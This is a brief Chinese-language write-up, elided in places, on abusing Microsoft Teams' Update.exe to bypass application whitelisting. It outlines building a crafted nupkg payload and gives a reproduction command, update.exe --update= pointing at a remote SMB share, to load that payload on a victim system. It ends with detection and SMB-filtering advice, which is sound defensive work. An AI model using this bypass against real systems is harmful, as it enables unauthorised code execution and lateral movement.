Electron基本上是嵌入在可执行文件中的nodejs.让我们使用Microsoft Teams附带的Update.exe深入了解应用程序白名单绕过.
0x01分析:
首先,将Teams.exe...最初,当观察到这一发现时,发现它仍然可以用作横向移动的技术,但是,发现通过指向远程SMB共享可以轻松绕开添加的限制.
0x04合法事件:
%localappdata%\Microsoft\Teams\...update.exe
0x08进攻部分:
要利用此漏洞,必须首先制作支持更新程序框架的有效负载
一、创建有效负载
提取任何nupkg包,在我的示例中为Teams-1.3.00.27559-full.nupkg...三、重现步骤:
转到受害者系统上的目标应用程序文件夹
“%localappdata%/ Microsoft / Teams /”
运行以下命令:
update.exe --update = [Samba...,请验证大小和哈希值,寻找任何异常情况.研究传出的SMB连接,尤其是从Microsoft Teams更新程序update.exe中进行传出的SMB连接,或者在必要时完全在外围过滤SMB连接.